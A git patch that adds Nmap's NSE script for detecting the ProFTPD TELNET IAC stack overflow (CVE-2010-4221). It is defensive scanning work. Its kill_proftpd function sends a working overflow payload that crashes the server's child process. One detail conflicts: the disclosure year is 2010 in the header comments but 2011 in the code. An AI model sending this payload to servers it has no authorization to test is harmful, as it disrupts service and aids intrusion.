From 0d47952611198ef6b1163f366dc03922d20b1475 Mon Sep 17 00:00:00 2001 From: Daniel Baumann Date: Wed, 17 Apr 2024 09:42:04 +0200 Subject: Adding upstream version 7.94+git20230807.3be01efb1+dfsg. Signed-off-by: Daniel Baumann --- scripts/ftp-vuln-cve2010-4221.nse | 199 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 199 insertions(+) create mode 100644 scripts/ftp-vuln-cve2010-4221.nse (limited to 'scripts/ftp-vuln-cve2010-4221.nse') diff --git a/scripts/ftp-vuln-cve2010-4221.nse b/scripts/ftp-vuln-cve2010-4221.nse new file mode 100644 index 0000000..c02a996 --- /dev/null +++ b/scripts/ftp-vuln-cve2010-4221.nse @@ -0,0 +1,199 @@ +local ftp = require "ftp" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local stringaux = require "stringaux" +local vulns = require "vulns" + +description = [[ +Checks for a stack-based buffer overflow in the ProFTPD server, version +between 1.3.2rc3 and 1.3.3b. By sending a large number of TELNET_IAC escape +sequence, the proftpd process miscalculates the buffer length, and a remote +attacker will be able to corrupt the stack and execute arbitrary code within +the context of the proftpd process (CVE-2010-4221). Authentication is not +required to exploit this vulnerability. + +Reference: +* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221 +* http://www.exploit-db.com/exploits/15449/ +* http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac +]] + +--- +-- @usage +-- nmap --script ftp-vuln-cve2010-4221 -p 21 +-- +-- @output +-- PORT STATE SERVICE +-- 21/tcp open ftp +-- | ftp-vuln-cve2010-4221: +-- | VULNERABLE: +-- | ProFTPD server TELNET IAC stack overflow +-- | State: VULNERABLE +-- | IDs: CVE:CVE-2010-4221 BID:44562 +-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) +-- | Description: +-- | ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to +-- | stack-based buffer overflow. By sending a large number of TELNET_IAC +-- | escape sequence, a remote attacker will be able to corrupt the stack and +-- | execute arbitrary code. +-- | Disclosure date: 2010-11-02 +-- | References: +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221 +-- | http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac +-- | http://bugs.proftpd.org/show_bug.cgi?id=3521 +-- |_ https://www.securityfocus.com/bid/44562 +-- + +author = "Djalal Harouni" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "vuln"} + + +portrule = function (host, port) + if port.version.product ~= nil and port.version.product ~= "ProFTPD" then + return false + end + return shortport.port_or_service(21, "ftp")(host, port) +end + +local function get_proftpd_banner(banner) + local version + if banner then + version = banner:match("ProFTPD%s([%w%.]+)%s") + end + return banner, version +end + +local function ftp_finish(socket, status, message) + if socket then + socket:close() + end + return status, message +end + +-- Returns true if the provided version is vulnerable +local function is_version_vulnerable(version) + local vers = stringaux.strsplit("%.", version) + + if #vers > 0 and vers[3] then + local relnum = string.sub(vers[3], 1, 1) + local extra = string.sub(vers[3], 2) + if relnum == '2' then + if extra:len() > 0 then + if extra:match("rc%d") then + local v = string.sub(extra, 3) + if v and tonumber(v) > 2 then + return true + end + else + return true + end + end + elseif relnum == '3' then + if extra:len() == 0 or extra:match("[abrc]") then + return true + end + end + end + + return false +end + +-- Returns true, true if the ProFTPD child was killed +local function kill_proftpd(socket) + local killed = false + local TELNET_KILL = '\000'..'\255' -- TELNET_DUMMY..TELNET_IAC + + stdnse.debug2("sending evil TELNET_IAC commands.") + local st, ret = socket:send(string.rep(TELNET_KILL, 4069).. + '\255'..string.rep("Nmap", 256).."\n") + if not st then + return st, ret + end + + -- We should receive command error if it's not vulnerable + st, ret = socket:receive_lines(1) + if not st then + if ret == "EOF" then -- "connection closed" + stdnse.debug2("remote proftpd child was killed.") + killed = true + else + return st, ret + end + end + + return true, killed +end + +local function check_proftpd(ftp_opts) + local ftp_server = {} + local socket, code, message = ftp.connect(ftp_opts.host, ftp_opts.port) + if not socket then + return socket, code + end + + ftp_server.banner, ftp_server.version = get_proftpd_banner(message) + if not ftp_server.banner then + return ftp_finish(socket, false, "failed to get FTP banner.") + elseif not ftp_server.banner:match("ProFTPD") then + return ftp_finish(socket, false, "not a ProFTPD server.") + end + + local vuln = ftp_opts.vuln + -- check if this version is vulnerable + if ftp_server.version then + if not is_version_vulnerable(ftp_server.version) then + vuln.state = vulns.STATE.NOT_VULN + return ftp_finish(socket, true) + end + vuln.state = vulns.STATE.LIKELY_VULN + end + + local status, killed = kill_proftpd(socket) + if not status then + return ftp_finish(socket, false, killed) + elseif killed then + vuln.state = vulns.STATE.VULN + elseif not vuln.state then + vuln.state = vulns.STATE.NOT_VULN + end + + return ftp_finish(socket, true) +end + +action = function(host, port) + local ftp_opts = { + host = host, + port = port, + vuln = { + title = 'ProFTPD server TELNET IAC stack overflow', + IDS = {CVE = 'CVE-2010-4221', BID = '44562'}, + risk_factor = "High", + scores = { + CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)", + }, + description = [[ +ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to +stack-based buffer overflow. By sending a large number of TELNET_IAC +escape sequence, a remote attacker will be able to corrupt the stack and +execute arbitrary code.]], + references = { +'http://bugs.proftpd.org/show_bug.cgi?id=3521', +'http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac', + }, + dates = { + disclosure = {year = 2011, month = 11, day = 02}, + }, + } + } + + local report = vulns.Report:new(SCRIPT_NAME, host, port) + + local status, err = check_proftpd(ftp_opts) + if not status then + stdnse.debug1("%s", err) + return nil + end + return report:make_output(ftp_opts.vuln) +end -- cgit v1.2.3